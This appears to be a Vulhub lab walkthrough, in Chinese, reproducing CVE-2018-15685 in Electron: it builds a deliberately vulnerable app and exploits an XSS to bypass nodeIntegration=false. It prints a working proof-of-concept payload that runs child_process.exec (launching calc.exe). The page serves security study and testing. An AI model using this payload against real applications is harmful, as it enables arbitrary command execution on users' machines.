Electron WebPreferences 遠程命令執行漏洞(CVE-2018-15685)
Electron是由Github開發,用HTML,CSS和JavaScript來構建跨平臺桌面應用程序的一個開源庫。 Electron通過將Chromium和Node.js合并到同一個運行時環境中,并將其打包為Mac,Windows和Linux系統下的應用來實現這一目的。
Electron在設置了nodeIntegration=false的情況下(默認),頁面中的JavaScript無法訪問node.js的內置庫。CVE-2018-15685繞過了該限制,導致在用戶可執行JavaScript的情況下(如訪問第三方頁面或APP存在XSS漏洞時),能夠執行任意命令。
參考鏈接:
- https://electronjs.org/blog/web-preferences-fix
- https://www.contrastsecurity.com/security-influencers/cve-2018-15685
編譯APP
執行如下命令編譯一個包含漏洞的應用:
docker-compose run -e PLATFORM=win64 --rm electron
其中PLATFORM的值是運行該應用的操作系統,可選項有:win64、win32、mac、linux。
編譯完成后,再執行如下命令,啟動web服務:
docker-compose run --rm -p 8080:80 web
此時,訪問http://your-ip:8080/cve-2018-15685.tar.gz即可下載編譯好的應用。
復現漏洞
在本地打開應用:

點擊提交,輸入框中的內容將會顯示在應用中,顯然這里存在一處XSS漏洞。
我們提交<img src=1 onerror="require('child_process').exec('calc.exe')">,發現沒有任何反饋,原因就是nodeIntegration=false。
此時,提交POC(Windows):
<img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
可見,calc.exe已成功彈出:

Vulhub 文檔
推薦文章: